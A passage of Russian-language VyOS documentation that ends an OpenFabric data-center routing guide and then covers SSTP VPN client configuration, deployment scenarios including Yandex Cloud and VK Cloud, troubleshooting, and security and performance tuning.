   - Включайте OpenFabric только на необходимых интерфейсах
   - Используйте passive mode для non-fabric интерфейсов

### Масштабируемость

1. **Размер fabric**
   - Рекомендуется: до 512 Leaf на 3-4 Spine
   - Для больших deployment рассмотрите Multi-POD архитектуру

2. **Количество маршрутов**
   - OpenFabric эффективен до десятков тысяч маршрутов
   - Для очень больших таблиц рассмотрите суммаризацию

3. **ECMP пути**
   - Стандартно: 4-8 ECMP путей от Leaf к Spine
   - Можно масштабировать до 16-32 путей

### Операционные процедуры

1. **Обслуживание маршрутизатора**
   ```bash
   # Установить overload bit перед обслуживанием
   set protocols openfabric domain DATACENTER overload
   commit

   # Выполнить обслуживание

   # Снять overload bit
   delete protocols openfabric domain DATACENTER overload
   commit
   ```

2. **Graceful restart**
   ```bash
   # Overload на определенное время
   set protocols openfabric domain DATACENTER overload on-startup 300
   commit
   ```

3. **Мониторинг**
   - Мониторьте количество соседей
   - Мониторьте количество маршрутов
   - Настройте alerts на flapping соседей
   - Мониторьте CPU utilization на Spine

### Интеграция с BGP

Для подключения fabric к внешним сетям используйте BGP на Leaf или Spine:

```bash
# Border Leaf конфигурация
set protocols bgp system-as 65000
set protocols bgp neighbor 192.0.2.1 remote-as 65001
set protocols bgp neighbor 192.0.2.1 address-family ipv4-unicast

# Редистрибуция OpenFabric в BGP
set protocols bgp address-family ipv4-unicast redistribute openfabric

# Редистрибуция BGP в OpenFabric
set protocols openfabric domain DATACENTER redistribute ipv4 bgp route-map BGP-TO-FABRIC
```

### Dual-stack рекомендации

1. Включайте IPv4 и IPv6 на всех интерфейсах одновременно
2. Используйте одинаковые метрики для IPv4 и IPv6
3. Применяйте одинаковые route-map для обоих семейств
4. Тестируйте failover для обоих протоколов

## Заключение

OpenFabric - это эффективный протокол маршрутизации для современных ЦОД, оптимизированный для архитектуры Spine-Leaf. Правильная конфигурация Fabric Tier, метрик и таймеров обеспечивает быструю сходимость, оптимальное использование ECMP путей и минимальные накладные расходы на служебный трафик.

Ключевые моменты для успешного внедрения:

- Правильная конфигурация Fabric Tier (Spine = Tier 1, Leaf = Tier 2)
- Одинаковые метрики на всех uplink для ECMP
- Агрессивные таймеры для быстрого обнаружения сбоев
- Использование MD5 аутентификации
- Регулярный мониторинг соседей и маршрутов

OpenFabric в VyOS предоставляет enterprise-grade функциональность для построения отказоустойчивых и масштабируемых сетей ЦОД в облачных средах Yandex Cloud и VK Cloud.

---

# SSTP Client - Secure Socket Tunneling Protocol

Source: https://opennix.org/docs/vyos/interfaces/vyos-sstp/


SSTP (Secure Socket Tunneling Protocol) - это VPN протокол, который транспортирует PPP трафик через SSL/TLS канал. SSTP использует TCP порт 443 по умолчанию, что позволяет ему проходить через большинство файрволов и прокси-серверов, которые обычно блокируют другие VPN протоколы.

## Введение в SSTP

### Что такое SSTP?

SSTP - это проприетарный протокол Microsoft, который:
- Инкапсулирует PPP трафик внутри SSL/TLS соединения
- Использует TCP порт 443 (стандартный HTTPS порт)
- Обеспечивает transport-level безопасность
- Поддерживает key negotiation и шифрование
- Проверяет целостность трафика
- Легко проходит через файрволы и NAT

### Архитектура SSTP

**Компоненты:**
- SSTP Client - инициирует соединение (VyOS router)
- SSTP Server - принимает соединение (Windows Server, VyOS, другие)
- SSL/TLS layer - обеспечивает шифрование
- PPP layer - транспортный протокол
- HTTP/HTTPS - базовый транспорт

**Этапы установки соединения:**
1. TCP handshake на порт 443
2. TLS handshake - установка SSL сессии
3. HTTP negotiation - SSTP protocol negotiation
4. PPP session - установка PPP соединения
5. Authentication - PAP/CHAP/MS-CHAP
6. IP configuration - получение IP адреса

### Преимущества SSTP

**Обход ограничений:**
- Использует порт 443 (HTTPS) - не блокируется файрволами
- Проходит через HTTP прокси
- Работает через NAT без дополнительной настройки
- Выглядит как обычный HTTPS трафик

**Безопасность:**
- SSL/TLS шифрование (AES-256)
- Certificate-based authentication
- Защита от MITM атак
- Проверка целостности данных

**Применение:**
- Удаленный доступ через ограничивающие файрволы
- Корпоративные сети с жесткими политиками
- Публичные Wi-Fi сети с блокировкой VPN
- Backup VPN канал (всегда доступный)

### Когда использовать SSTP?

**Рекомендуется для:**
- Подключение из сетей с ограничивающими файрволами
- Публичные Wi-Fi с блокировкой VPN портов
- Корпоративные сети с белым списком портов
- Backup канал когда IPsec/OpenVPN/WireGuard заблокированы
- Совместимость с Windows Server SSTP

**Применение:**
- Remote access VPN для сотрудников
- Site-to-Site VPN через ограничивающие ISP
- Bypass censorship и DPI (Deep Packet Inspection)
- Резервный VPN канал

## Конфигурация SSTP Client

### Базовая настройка

```bash
configure

# Создать SSTP интерфейс
set interfaces sstpc sstpc0 server 'vpn.example.com'
set interfaces sstpc sstpc0 authentication username 'myuser'
set interfaces sstpc sstpc0 authentication password 'SecretPassword123'

# SSL certificate verification (если self-signed - отключить)
set interfaces sstpc sstpc0 ssl ca-certificate 'VPN-CA'

# Автоматический default route
set interfaces sstpc sstpc0 default-route auto

commit
save
```

**Результат:**
- SSTP соединение к vpn.example.com:443
- Автоматическое получение IP адреса от сервера
- Default route через SSTP туннель
- SSL/TLS шифрование

### Параметры конфигурации

#### Server

```bash
# FQDN сервера
set interfaces sstpc sstpc0 server 'vpn.company.com'

# IP адрес сервера
set interfaces sstpc sstpc0 server '203.0.113.10'

# Сервер с нестандартным портом (если не 443)
# SSTP всегда использует порт 443, изменение не поддерживается
```

**Важно:** Сервер должен быть доступен по FQDN или IP на порту 443/TCP.

#### Authentication

```bash
# Username и password
set interfaces sstpc sstpc0 authentication username 'user@domain.com'
set interfaces sstpc sstpc0 authentication password 'MyPassword'
```

**Типы аутентификации:**
- PAP (Password Authentication Protocol) - не рекомендуется
- CHAP (Challenge Handshake Authentication Protocol)
- MS-CHAP v2 (Microsoft CHAP) - рекомендуется для Windows Server

VyOS автоматически согласует метод с сервером.

#### SSL Certificate

```bash
# CA certificate для проверки сервера
set interfaces sstpc sstpc0 ssl ca-certificate 'VPN-CA'

# Если self-signed сертификат - можно пропустить проверку
# (не рекомендуется в production)
# Просто не указывать ca-certificate
```

**Импорт CA certificate:**

```bash
# Загрузить CA cert на VyOS
configure
set pki ca VPN-CA certificate 'MIIDXTCCAkWgAwIBAgIJ...'
commit
```

Или загрузить файл:

```bash
# Скопировать файл на VyOS
scp ca.crt vyos@router:/tmp/

# Импортировать
vyos@router# configure
vyos@router# load /config/auth/ca.crt
```

#### Default Route

```bash
# Автоматически добавить default route через SSTP
set interfaces sstpc sstpc0 default-route auto

# Явно указать default route
set interfaces sstpc sstpc0 default-route force

# Не добавлять default route (split-tunnel)
set interfaces sstpc sstpc0 no-default-route

# Default route с метрикой
set interfaces sstpc sstpc0 default-route-distance 10
```

**Опции:**
- `auto` - добавить route если SSTP единственное подключение
- `force` - всегда добавлять route
- `no-default-route` - не добавлять route (split-tunnel)

#### MTU

```bash
# MTU (Maximum Transmission Unit)
set interfaces sstpc sstpc0 mtu 1452
```

**Рекомендации MTU:**
- Ethernet MTU: 1500 bytes
- SSTP overhead: ~48 bytes (PPP + SSL/TLS + TCP + IP headers)
- Рекомендуемый MTU: 1452 bytes
- Для низкоскоростных каналов: 1400 bytes

**TCP MSS clamping:**

```bash
# Установить TCP MSS для предотвращения фрагментации
set interfaces sstpc sstpc0 ip adjust-mss 1412
set interfaces sstpc sstpc0 ipv6 adjust-mss 1392
```

#### DNS Configuration

```bash
# Получать DNS от SSTP сервера (default)
# (автоматически через PPP negotiation)

# Не использовать DNS от сервера
set interfaces sstpc sstpc0 no-peer-dns
```

#### VRF Support

```bash
# Поместить SSTP интерфейс в VRF
set interfaces sstpc sstpc0 vrf MANAGEMENT
```

**Use case:** Изоляция management трафика через отдельный VPN.

#### Interface Description

```bash
# Добавить описание
set interfaces sstpc sstpc0 description 'Corporate VPN - Main Link'
```

#### IP Configuration

```bash
# Автоматическое получение IP от сервера (default)
# (через PPP negotiation)

# Статический IP (если сервер требует)
# SSTP обычно использует dynamic IP assignment
```

#### Disable Interface

```bash
# Временно отключить интерфейс
set interfaces sstpc sstpc0 disable

# Включить обратно
delete interfaces sstpc sstpc0 disable
commit
```

#### Source Validation

```bash
# Настроить source validation
set interfaces sstpc sstpc0 ip disable-forwarding
set interfaces sstpc sstpc0 ip source-validation strict
set interfaces sstpc sstpc0 ip source-validation loose
set interfaces sstpc sstpc0 ip source-validation disable
```

## Практические сценарии

### Сценарий 1: Remote Access VPN через ограничивающий файрвол

**Топология:**
```
[User Laptop] ---- [Restrictive Firewall] ---- [Internet] ---- [SSTP Server]
                    (only port 443 allowed)
```

**Задача:** Подключиться к корпоративной сети из публичного Wi-Fi, который блокирует все порты кроме 80/443.

**Конфигурация VyOS:**

```bash
configure

# SSTP интерфейс
set interfaces sstpc sstpc0 server 'vpn.company.com'
set interfaces sstpc sstpc0 authentication username 'employee@company.com'
set interfaces sstpc sstpc0 authentication password 'StrongPassword!23'
set interfaces sstpc sstpc0 ssl ca-certificate 'COMPANY-CA'
set interfaces sstpc sstpc0 default-route auto
set interfaces sstpc sstpc0 mtu 1452
set interfaces sstpc sstpc0 description 'Corporate VPN'

# LAN интерфейс (для клиентов за VyOS)
set interfaces ethernet eth1 address 192.168.1.1/24

# NAT для LAN через SSTP
set nat source rule 100 outbound-interface name sstpc0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

# DHCP для LAN клиентов
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.100
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.200
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option default-router 192.168.1.1

commit
save
```

**Проверка:**

```bash
# Статус SSTP интерфейса
show interfaces sstpc sstpc0

# Полученный IP адрес
show interfaces sstpc sstpc0 brief

# Default route
show ip route

# Тест connectivity
ping 8.8.8.8 interface sstpc0
```

### Сценарий 2: Site-to-Site VPN через SSTP

**Топология:**
```
[Branch Office VyOS] ---- SSTP ---- [HQ SSTP Server]
 192.168.2.0/24                      192.168.1.0/24
```

**Задача:** Соединить филиал с головным офисом через SSTP (ISP блокирует IPsec).

**Конфигурация Branch Office:**

```bash
configure

# WAN интерфейс
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 description 'WAN - ISP'

# SSTP к головному офису
set interfaces sstpc sstpc0 server 'hq-vpn.company.com'
set interfaces sstpc sstpc0 authentication username 'branch-office-1'
set interfaces sstpc sstpc0 authentication password 'BranchPass123!'
set interfaces sstpc sstpc0 ssl ca-certificate 'HQ-VPN-CA'
set interfaces sstpc sstpc0 no-default-route
set interfaces sstpc sstpc0 mtu 1452
set interfaces sstpc sstpc0 description 'VPN to HQ'

# LAN интерфейс
set interfaces ethernet eth1 address 192.168.2.1/24
set interfaces ethernet eth1 description 'Branch LAN'

# Статический маршрут к HQ сети через SSTP
# (предполагая что SSTP server выдает 10.10.0.x адреса)
set protocols static route 192.168.1.0/24 interface sstpc0

# NAT для интернета через WAN
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 192.168.2.0/24
set nat source rule 100 translation address masquerade

# DHCP для LAN
set service dhcp-server shared-network-name LAN subnet 192.168.2.0/24 range 0 start 192.168.2.100
set service dhcp-server shared-network-name LAN subnet 192.168.2.0/24 range 0 stop 192.168.2.200
set service dhcp-server shared-network-name LAN subnet 192.168.2.0/24 option default-router 192.168.2.1

# DNS forwarding
set service dns forwarding listen-address 192.168.2.1
set service dns forwarding allow-from 192.168.2.0/24

commit
save
```

**Проверка:**

```bash
# SSTP соединение
show interfaces sstpc sstpc0

# Routing table
show ip route

# Ping HQ сети
ping 192.168.1.1 source-address 192.168.2.1
```

### Сценарий 3: Dual VPN (SSTP + WireGuard Failover)

**Топология:**
```
                 ┌─ WireGuard (Primary, fast)
[VyOS Router] ───┤
                 └─ SSTP (Backup, always works)
```

**Задача:** Основной канал через WireGuard для производительности, SSTP как резервный на случай блокировки.

**Конфигурация:**

```bash
configure

# Primary VPN: WireGuard
set interfaces wireguard wg0 address 10.10.0.1/30
set interfaces wireguard wg0 port 51820
set interfaces wireguard wg0 private-key 'WIREGUARD_PRIVATE_KEY'
set interfaces wireguard wg0 peer hq public-key 'HQ_PUBLIC_KEY'
set interfaces wireguard wg0 peer hq allowed-ips '10.10.0.2/32'
set interfaces wireguard wg0 peer hq allowed-ips '192.168.1.0/24'
set interfaces wireguard wg0 peer hq address 'vpn.company.com'
set interfaces wireguard wg0 peer hq port 51820
set interfaces wireguard wg0 description 'Primary VPN - WireGuard'

# Backup VPN: SSTP
set interfaces sstpc sstpc0 server 'vpn.company.com'
set interfaces sstpc sstpc0 authentication username 'backup-vpn@company.com'
set interfaces sstpc sstpc0 authentication password 'BackupVPN!Pass'
set interfaces sstpc sstpc0 ssl ca-certificate 'COMPANY-CA'
set interfaces sstpc sstpc0 no-default-route
set interfaces sstpc sstpc0 mtu 1452
set interfaces sstpc sstpc0 description 'Backup VPN - SSTP'

# Статические маршруты с метриками
# WireGuard - lower distance (preferred)
set protocols static route 192.168.1.0/24 interface wg0
set protocols static route 192.168.1.0/24 interface wg0 distance 10

# SSTP - higher distance (backup)
set protocols static route 192.168.1.0/24 interface sstpc0
set protocols static route 192.168.1.0/24 interface sstpc0 distance 20

commit
save
```

**Логика failover:**
- WireGuard используется по умолчанию (distance 10)
- При падении WireGuard трафик автоматически переключается на SSTP (distance 20)
- SSTP всегда работает т.к. использует порт 443

**Проверка:**

```bash
# Routing table - должно быть два route
show ip route 192.168.1.0/24

# Проверить активный маршрут
show ip route

# Симуляция failover
disconnect interface wg0

# Проверить переключение на SSTP
show ip route 192.168.1.0/24
```

### Сценарий 4: SSTP через HTTP Proxy

**Задача:** Подключиться к VPN через корпоративный HTTP прокси.

**Конфигурация:**

```bash
configure

# SSTP поддерживает HTTP CONNECT proxy
# Конфигурация proxy в VyOS 1.4/1.5 может потребовать дополнительных настроек

# Базовый SSTP
set interfaces sstpc sstpc0 server 'vpn.company.com'
set interfaces sstpc sstpc0 authentication username 'user@company.com'
set interfaces sstpc sstpc0 authentication password 'Password123'
set interfaces sstpc sstpc0 ssl ca-certificate 'COMPANY-CA'

commit
save
```

**Примечание:** VyOS SSTP client может не поддерживать HTTP proxy напрямую. В этом случае используйте:
- Прямое подключение (если доступно)
- SSH tunnel через прокси + SSTP поверх
- Другой VPN протокол (OpenVPN с http-proxy)

### Сценарий 5: SSTP в Yandex Cloud

**Задача:** Подключить VyOS в Yandex Cloud к корпоративному SSTP серверу.

**Топология:**
```
[VyOS in Yandex Cloud] ---- [Internet] ---- [Corporate SSTP Server]
   10.128.0.5/24                              vpn.company.ru
```

**Конфигурация:**

```bash
configure

# WAN интерфейс (Yandex Cloud external IP)
set interfaces ethernet eth0 address 10.128.0.5/24
set interfaces ethernet eth0 description 'Yandex Cloud Network'

# SSTP к корпоративному серверу
set interfaces sstpc sstpc0 server 'vpn.company.ru'
set interfaces sstpc sstpc0 authentication username 'cloud-vyos@company.ru'
set interfaces sstpc sstpc0 authentication password 'CloudVPN!2024'
set interfaces sstpc sstpc0 ssl ca-certificate 'CORP-CA'
set interfaces sstpc sstpc0 no-default-route
set interfaces sstpc sstpc0 mtu 1420
set interfaces sstpc sstpc0 description 'VPN to Corporate Network'

# Маршруты к корпоративным сетям через SSTP
set protocols static route 192.168.0.0/16 interface sstpc0
set protocols static route 10.0.0.0/8 interface sstpc0

# Default route через Yandex Cloud gateway
set protocols static route 0.0.0.0/0 next-hop 10.128.0.1

# Firewall для исходящего SSTP
set firewall ipv4 name YANDEX-OUT default-action accept
set firewall ipv4 name YANDEX-OUT rule 100 action accept
set firewall ipv4 name YANDEX-OUT rule 100 destination port 443
set firewall ipv4 name YANDEX-OUT rule 100 protocol tcp

commit
save
```

**Особенности Yandex Cloud:**
- MTU в Yandex Cloud: 1500, используйте SSTP MTU 1420-1452
- SSTP работает через Yandex Cloud NAT gateway
- Не требуется дополнительных security group rules для исходящего порта 443

**Проверка:**

```bash
# SSTP статус
show interfaces sstpc sstpc0

# Ping корпоративной сети
ping 192.168.1.1 interface sstpc0

# Traceroute
traceroute 192.168.1.1
```

### Сценарий 6: SSTP в VK Cloud

**Задача:** Подключить VyOS в VK Cloud к VPN серверу.

**Конфигурация:**

```bash
configure

# WAN интерфейс (VK Cloud private network)
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 description 'VK Cloud Network'

# SSTP к VPN серверу
set interfaces sstpc sstpc0 server 'vpn.example.ru'
set interfaces sstpc sstpc0 authentication username 'vkcloud-client'
set interfaces sstpc sstpc0 authentication password 'VKCloudVPN!123'
set interfaces sstpc sstpc0 ssl ca-certificate 'VPN-CA'
set interfaces sstpc sstpc0 default-route auto
set interfaces sstpc sstpc0 mtu 1450
set interfaces sstpc sstpc0 description 'VPN Connection'

# NAT для внутренних сетей через SSTP
set interfaces ethernet eth1 address 192.168.100.1/24

set nat source rule 100 outbound-interface name sstpc0
set nat source rule 100 source address 192.168.100.0/24
set nat source rule 100 translation address masquerade

commit
save
```

**Особенности VK Cloud:**
- MTU в VK Cloud: 1500, используйте SSTP MTU 1450
- SSTP работает через VK Cloud NAT
- Проверьте security groups для порта 443

### Сценарий 7: Split-Tunnel SSTP

**Задача:** Только корпоративный трафик через VPN, интернет напрямую.

**Конфигурация:**

```bash
configure

# SSTP без default route
set interfaces sstpc sstpc0 server 'vpn.company.com'
set interfaces sstpc sstpc0 authentication username 'user@company.com'
set interfaces sstpc sstpc0 authentication password 'Password123'
set interfaces sstpc sstpc0 ssl ca-certificate 'COMPANY-CA'
set interfaces sstpc sstpc0 no-default-route
set interfaces sstpc sstpc0 mtu 1452
set interfaces sstpc sstpc0 description 'Split-Tunnel VPN'

# Только корпоративные сети через SSTP
set protocols static route 192.168.0.0/16 interface sstpc0
set protocols static route 10.0.0.0/8 interface sstpc0

# Интернет через WAN
set interfaces ethernet eth0 address dhcp

# Default route через WAN
set protocols static route 0.0.0.0/0 dhcp-interface eth0

# NAT для интернета через WAN
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

commit
save
```

**Преимущества split-tunnel:**
- Интернет трафик не загружает VPN
- Быстрее для пользователей
- Меньше нагрузка на VPN сервер

## Мониторинг и отладка

### Проверка статуса SSTP

```bash
# Общая информация
show interfaces sstpc

# Детальная информация конкретного интерфейса
show interfaces sstpc sstpc0

# Brief вывод
show interfaces sstpc sstpc0 brief

# Статистика
show interfaces sstpc sstpc0 statistics
```

**Пример вывода:**

```
sstpc0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1452
    inet 10.10.0.2 peer 10.10.0.1/32
    RX: bytes    packets  errors  dropped  overrun       mcast
        5242880    4096       0        0        0           0
    TX: bytes    packets  errors  dropped carrier collisions
        2621440    2048       0        0       0           0
```

### Operational Commands

```bash
# Connect SSTP соединение
connect interface sstpc0

# Disconnect SSTP соединение
disconnect interface sstpc0

# Проверить log сообщения SSTP
show log | match sstpc

# Проверить authentication log
show log auth | match sstpc
```

### Debugging SSTP

```bash
# Логи SSTP в реальном времени
monitor log | match sstpc

# Системные логи
show log tail

# dmesg для kernel-level проблем
show log kernel tail
```

**Debug информация включает:**
- TCP connection establishment
- TLS handshake
- HTTP negotiation
- PPP LCP negotiation
- Authentication attempts
- IP address assignment

### Packet Capture

```bash
# Захват SSTP трафика (TCP port 443)
monitor traffic interface eth0 filter "tcp port 443 and host vpn.company.com"

# Захват трафика на SSTP интерфейсе
monitor traffic interface sstpc0

# Сохранить capture в файл
monitor traffic interface eth0 filter "tcp port 443" save /tmp/sstp-capture.pcap
```

**Анализ в Wireshark:**
- TCP SYN/ACK (3-way handshake)
- TLS Client/Server Hello
- TLS Certificate Exchange
- HTTP SSTP negotiation (после TLS)
- Encrypted PPP frames (после установки SSTP)

### Проверка DNS

```bash
# DNS resolution для сервера
nslookup vpn.company.com

# Ping сервера
ping vpn.company.com

# Проверить порт 443
telnet vpn.company.com 443
```

### Мониторинг производительности

```bash
# Bandwidth monitoring
monitor bandwidth interface sstpc0

# Real-time traffic statistics
show interfaces sstpc sstpc0 statistics

# Connection uptime
show interfaces sstpc sstpc0 | grep "uptime"
```

## Troubleshooting

### Проблема: SSTP не устанавливает соединение

**Симптомы:**
- Интерфейс в состоянии DOWN
- Нет IP адреса
- Connection timeout

**Диагностика:**

```bash
# 1. Проверить DNS resolution
nslookup vpn.company.com

# 2. Проверить connectivity к серверу
ping vpn.company.com

# 3. Проверить порт 443
telnet vpn.company.com 443

# 4. Проверить SSTP logs
show log | match sstpc

# 5. Попытка connect
connect interface sstpc0

# 6. Проверить вывод
show log tail
```

**Типичные причины:**

1. **Сервер недоступен:**
```bash
# В логах: "Connection refused" или "Timeout"
# Решение: проверить DNS, firewall, routing
ping vpn.company.com
traceroute vpn.company.com
```

2. **Неверные credentials:**
```bash
# В логах: "authentication failed" или "Access denied"
# Решение: проверить username/password
set interfaces sstpc sstpc0 authentication username 'correct-user'
set interfaces sstpc sstpc0 authentication password 'correct-pass'
commit
```

3. **SSL Certificate проблемы:**
```bash
# В логах: "certificate verification failed" или "SSL handshake failed"
# Решение: проверить CA certificate

# Импортировать правильный CA cert
set pki ca VPN-CA certificate 'MIID...'
set interfaces sstpc sstpc0 ssl ca-certificate 'VPN-CA'

# Или отключить проверку (только для тестирования)
delete interfaces sstpc sstpc0 ssl ca-certificate
commit
```

4. **Firewall блокирует порт 443:**
```bash
# Проверить firewall
show firewall

# Разрешить исходящий порт 443
set firewall ipv4 name WAN-OUT rule 100 action accept
set firewall ipv4 name WAN-OUT rule 100 destination port 443
set firewall ipv4 name WAN-OUT rule 100 protocol tcp
commit
```

### Проблема: Соединение устанавливается, но нет интернета

**Диагностика:**

```bash
# 1. Проверить IP адрес
show interfaces sstpc sstpc0
# Должен быть IP адрес от сервера

# 2. Проверить default route
show ip route 0.0.0.0/0
# Должен указывать на sstpc0 (для full-tunnel)

# 3. Ping gateway SSTP сервера
ping 10.10.0.1 interface sstpc0

# 4. Ping public IP
ping 8.8.8.8 interface sstpc0

# 5. Проверить DNS
nslookup google.com

# 6. Проверить NAT (если используется)
show nat source statistics
```

**Решения:**

1. **Нет default route:**
```bash
set interfaces sstpc sstpc0 default-route force
commit
```

2. **DNS не работает:**
```bash
# Использовать DNS от сервера (default)
delete interfaces sstpc sstpc0 no-peer-dns

# Или public DNS
set system name-server 8.8.8.8
set system name-server 8.8.4.4
commit
```

3. **NAT не настроен (для LAN клиентов):**
```bash
set nat source rule 100 outbound-interface name sstpc0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade
commit
```

### Проблема: Частые disconnects/reconnects

**Симптомы:**
- SSTP постоянно переподключается
- В логах: "Connection lost" или "PPP terminated"

**Диагностика:**

```bash
# 1. Проверить uptime
show interfaces sstpc sstpc0 | grep uptime

# 2. Проверить logs
show log | match "sstpc0"

# 3. Статистика errors
show interfaces sstpc sstpc0 statistics
```

**Причины и решения:**

1. **Нестабильное интернет соединение:**
```bash
# Проверить WAN интерфейс
show interfaces ethernet eth0 statistics

# Проверить packet loss
ping 8.8.8.8 count 100

# Решение: исправить проблемы на WAN
```

2. **MTU problems:**
```bash
# Packets dropping из-за MTU
# Решение: уменьшить MTU
set interfaces sstpc sstpc0 mtu 1400
set interfaces sstpc sstpc0 ip adjust-mss 1360
commit
```

3. **Server timeout:**
```bash
# SSTP server разрывает неактивные соединения
# Решение: отправлять keepalive трафик или проверить настройки сервера
```

4. **SSL session timeout:**
```bash
# TLS session expiring
# Решение: проверить настройки SSL на сервере
```

### Проблема: Низкая скорость

**Диагностика:**

```bash
# 1. Bandwidth test через iperf3
# На сервере
iperf3 -s

# На VyOS
iperf3 -c server-ip -i 1 -t 30

# 2. Проверить MTU
ping 8.8.8.8 size 1452 do-not-fragment interface sstpc0

# 3. Проверить CPU usage
show system resources

# 4. Interface statistics
show interfaces sstpc sstpc0 statistics
```

**Решения:**

1. **MTU fragmentation:**
```bash
# Path MTU Discovery
# Уменьшить MTU
set interfaces sstpc sstpc0 mtu 1400
set interfaces sstpc sstpc0 ip adjust-mss 1360
commit
```

2. **TCP over TCP problem:**
```bash
# SSTP использует TCP (PPP over SSL over TCP)
# TCP-over-TCP может вызывать проблемы производительности
# Решение: использовать UDP-based VPN (WireGuard, OpenVPN UDP) для лучшей производительности
```

3. **Server overload:**
```bash
# Сервер перегружен
# Решение: проверить load на сервере, добавить capacity
```

### Проблема: SSL Certificate errors

**Симптомы:**
- "certificate verification failed"
- "SSL handshake error"

**Диагностика:**

```bash
# 1. Проверить сертификат сервера
openssl s_client -connect vpn.company.com:443 -showcerts

# 2. Проверить CA certificate в VyOS
show pki ca VPN-CA

# 3. Проверить logs
show log | match "ssl"
```

**Решения:**

```bash
# 1. Импортировать правильный CA cert
# Получить CA cert от администратора сервера
set pki ca VPN-CA certificate 'MIIDXTCCAkWgAwIBAgIJ...'
set interfaces sstpc sstpc0 ssl ca-certificate 'VPN-CA'
commit

# 2. Для self-signed сертификата (только testing)
delete interfaces sstpc sstpc0 ssl ca-certificate
commit

# 3. Проверить hostname в сертификате
# FQDN в server должен совпадать с CN в сертификате
set interfaces sstpc sstpc0 server 'vpn.company.com'  # не IP адрес
commit
```

## Security Best Practices

### 1. Использование сертификатов

```bash
# Всегда проверяйте SSL сертификат в production
set interfaces sstpc sstpc0 ssl ca-certificate 'TRUSTED-CA'

# Не отключайте проверку сертификата без веской причины
```

### 2. Защита credentials

```bash
# Используйте сильные пароли
set interfaces sstpc sstpc0 authentication password 'ComplexP@ssw0rd!2024'

# Ограничить доступ к конфигурации
set system login user admin authentication plaintext-password 'AdminPassword'
set system login user admin level admin
```

### 3. Firewall на интерфейсе

```bash
# Создать firewall для SSTP интерфейса
set firewall ipv4 name SSTP-IN default-action drop
set firewall ipv4 name SSTP-IN rule 10 action accept
set firewall ipv4 name SSTP-IN rule 10 state established
set firewall ipv4 name SSTP-IN rule 10 state related

set firewall ipv4 name SSTP-IN rule 20 action drop
set firewall ipv4 name SSTP-IN rule 20 state invalid

# Применить к SSTP интерфейсу
set interfaces sstpc sstpc0 firewall in name SSTP-IN

commit
```

### 4. Ограничение трафика

```bash
# Rate limiting для защиты от abuse
set firewall ipv4 name SSTP-IN rule 5 action accept
set firewall ipv4 name SSTP-IN rule 5 protocol icmp
set firewall ipv4 name SSTP-IN rule 5 limit rate 10/second

commit
```

### 5. Мониторинг соединений

```bash
# Логирование SSTP events
set system syslog global facility all level info

# Отправка логов на syslog сервер
set system syslog host 192.168.1.100 facility all level warning

commit
```

### 6. Split-tunnel для безопасности

```bash
# Используйте split-tunnel когда возможно
# Только корпоративный трафик через VPN
set interfaces sstpc sstpc0 no-default-route
set protocols static route 192.168.0.0/16 interface sstpc0

# Интернет через локальное соединение
```

## Performance Tuning

### 1. MTU Optimization

```bash
# Оптимальный MTU для SSTP
set interfaces sstpc sstpc0 mtu 1452

# TCP MSS clamping
set interfaces sstpc sstpc0 ip adjust-mss 1412
set interfaces sstpc sstpc0 ipv6 adjust-mss 1392

commit
```

### 2. QoS для критичного трафика

```bash
# Priority queueing для VoIP через SSTP
set traffic-policy shaper SSTP-QOS bandwidth 100mbit
set traffic-policy shaper SSTP-QOS class 10 match VoIP ip protocol udp
set traffic-policy shaper SSTP-QOS class 10 match VoIP ip source port 5060-5090
set traffic-policy shaper SSTP-QOS class 10 bandwidth 10%
set traffic-policy shaper SSTP-QOS class 10 priority 7

set traffic-policy shaper SSTP-QOS default bandwidth 90%
set traffic-policy shaper SSTP-QOS default priority 1

set interfaces sstpc sstpc0 traffic-policy out SSTP-QOS
commit
```

### 3. Connection Optimization

```bash
# Использовать DNS от сервера для быстрого resolution
delete interfaces sstpc sstpc0 no-peer-dns

# Оптимизировать TCP параметры (системный уровень)
# Требует shell access
```

## Сравнение SSTP с другими VPN

| Характеристика | SSTP | IPsec | OpenVPN | WireGuard |
|---------------|------|-------|---------|-----------|
| **Firewall bypass** | Отлично (443) | Плохо (UDP 500/4500) | Хорошо (настраиваемый) | Средне (UDP) |
| **Производительность** | Средне | Хорошо | Удовлетворительно | Отлично |
| **Безопасность** | Отлично (SSL/TLS) | Отлично | Хорошо | Отлично |
| **Совместимость** | Windows native | Отлично | Отлично | Хорошо |
| **NAT traversal** | Отлично | Сложно | Отлично | Отлично |
| **Setup Complexity** | Средняя | Сложно | Средне | Простая |
| **TCP overhead** | Высокий (TCP over TCP) | Низкий | Средний (UDP mode) | Низкий |

**Когда выбрать SSTP:**
- Нужен bypass строгих файрволов (только 443 разрешен)
- Windows Server infrastructure
- Публичные Wi-Fi с блокировкой VPN
- Резервный канал когда другие VPN заблокированы

**Когда НЕ выбирать SSTP:**
- Нужна максимальная производительность (выбрать WireGuard)
- Высокая latency критична (TCP-over-TCP проблема)
- Non-Windows environment (выбрать OpenVPN/WireGuard)

## Best Practices

### 1. Naming Convention

```bash
# Используйте понятные имена
set interfaces sstpc sstpc0 description 'Corporate VPN - Primary'
set interfaces sstpc sstpc1 description 'Backup VPN - Secondary'
```

### 2. MTU Configuration

```bash
# Всегда настраивайте MTU и MSS
set interfaces sstpc sstpc0 mtu 1452
set interfaces sstpc sstpc0 ip adjust-mss 1412

# Тест оптимального MTU
ping 8.8.8.8 size 1452 do-not-fragment interface sstpc0
```

### 3. Monitoring и Alerting

```bash
# Syslog для tracking events
set system syslog global facility all level info
set system syslog host 192.168.1.100 facility all level warning

# SNMP monitoring
set service snmp community public authorization ro
set service snmp community public network 192.168.1.0/24
```

### 4. Backup Configuration

```bash
# Регулярный backup конфигурации
show configuration commands | save /config/backup-$(date +%Y%m%d).conf

# Script для automated backup
```

### 5. Certificate Management

```bash
# Регулярно обновляйте CA certificates
# Проверяйте expiration dates
